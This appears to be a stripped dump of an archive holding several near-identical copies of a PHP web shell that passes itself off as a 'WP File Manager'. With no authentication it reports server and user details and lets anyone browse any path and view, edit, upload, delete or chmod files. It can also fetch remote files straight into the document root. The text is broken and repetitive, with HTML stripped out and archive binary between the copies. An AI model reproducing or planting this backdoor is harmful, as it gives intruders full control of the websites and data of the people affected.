📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëinfo@dumoshi.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëinfo@dumoshi.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] 